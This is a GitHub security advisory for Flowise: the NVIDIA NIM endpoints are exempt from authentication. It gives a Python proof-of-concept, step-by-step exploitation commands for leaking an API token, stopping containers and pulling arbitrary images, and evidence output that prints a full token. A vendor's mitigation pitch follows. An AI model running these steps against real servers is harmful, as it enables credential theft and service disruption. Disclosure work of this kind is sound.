GHSA-5f53-522j-j454
Flowise Missing Authentication on NVIDIA NIM Endpoints
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
flowisenpmDescription
Missing Authentication on NVIDIA NIM Endpoints
Summary
The NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.
Vulnerability Details
| Field | Value |
|---|---|
| CWE | CWE-306: Missing Authentication for Critical Function |
| Affected File | packages/server/src/utils/constants.ts |
| Affected Line | Line 20 ('/api/v1/nvidia-nim' in WHITELIST_URLS) |
| CVSS 3.1 | 8.6 (High) |
Root Cause
In packages/server/src/utils/constants.ts, the NVIDIA NIM route is added to the authentication whitelist:
export const WHITELIST_URLS = [
// ... other URLs
'/api/v1/nvidia-nim', // Line 20 - bypasses JWT/API-key validation
// ...
]
This causes the global auth middleware to skip authentication checks for all endpoints under /api/v1/nvidia-nim/*. None of the controller actions in packages/server/src/controllers/nvidia-nim/index.ts perform their own authentication checks.
Affected Endpoints
| Method | Endpoint | Risk |
|---|---|---|
| GET | /api/v1/nvidia-nim/get-token | Leaks valid NVIDIA API token |
| GET | /api/v1/nvidia-nim/preload | Resource consumption |
| GET | /api/v1/nvidia-nim/download-installer | Resource consumption |
| GET | /api/v1/nvidia-nim/list-running-containers | Information disclosure |
| POST | /api/v1/nvidia-nim/pull-image | Arbitrary image pull |
| POST | /api/v1/nvidia-nim/start-container | Arbitrary container start |
| POST | /api/v1/nvidia-nim/stop-container | Denial of Service |
| POST | /api/v1/nvidia-nim/get-image | Information disclosure |
| POST | /api/v1/nvidia-nim/get-container | Information disclosure |
Impact
1. NVIDIA API Token Leakage
The /get-token endpoint returns a valid NVIDIA API token without authentication. This token grants access to NVIDIA's inference API and can list 170+ LLM models.
Token obtained:
{
"access_token": "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",
"token_type": "Bearer",
"expires_in": 3600
}
Token validation:
curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
# Returns list of 170+ available models
2. Container Runtime Manipulation
On systems with Docker/NIM installed, an unauthenticated attacker can:
- List running containers (reconnaissance)
- Stop containers (Denial of Service)
- Start containers with arbitrary images
- Pull arbitrary Docker images (resource consumption, potential malicious images)
Proof of Concept
poc.py
#!/usr/bin/env python3
"""
POC: Privileged NVIDIA NIM endpoints are unauthenticated
Usage:
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
"""
import argparse
import urllib.request
import urllib.error
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port")
ap.add_argument("--path", required=True, help="NIM endpoint path")
ap.add_argument("--method", default="GET", choices=["GET", "POST"])
ap.add_argument("--data", default="", help="Raw request body for POST")
args = ap.parse_args()
url = args.target.rstrip("/") + "/" + args.path.lstrip("/")
body = args.data.encode("utf-8") if args.method == "POST" else None
req = urllib.request.Request(
url,
data=body,
method=args.method,
headers={"Content-Type": "application/json"} if body else {},
)
try:
with urllib.request.urlopen(req, timeout=10) as r:
print(r.read().decode("utf-8", errors="replace"))
except urllib.error.HTTPError as e:
print(e.read().decode("utf-8", errors="replace"))
if __name__ == "__main__":
main()
<img width="1581" height="595" alt="screenshot" src="https://github.com/user-attachments/assets/85351a88-64ce-4e2c-8e67-98f217fcf989" />
Exploitation Steps
# 1. Obtain NVIDIA API token (no authentication required)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
# 2. List running containers
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers
# 3. Stop a container (DoS)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/stop-container \
--method POST --data '{"containerId":"<target_id>"}'
# 4. Pull arbitrary image
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/pull-image \
--method POST --data '{"imageTag":"malicious/image","apiKey":"any"}'
Evidence
Token retrieval without authentication:
$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
{"access_token":"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","token_type":"Bearer","refresh_token":null,"expires_in":3600,"id_token":null}
Token grants access to NVIDIA API:
$ curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
{"object":"list","data":[{"id":"01-ai/yi-large",...},{"id":"meta/llama-3.1-405b-instruct",...},...]}
Container endpoints return 500 (not 401) proving auth bypass:
$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers
{"statusCode":500,"success":false,"message":"Container runtime client not available","stack":{}}
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.0.13 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update flowise to 3.0.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5f53-522j-j454 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5f53-522j-j454 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5f53-522j-j454. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5f53-522j-j454 in your dependencies?
O3 detects GHSA-5f53-522j-j454 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.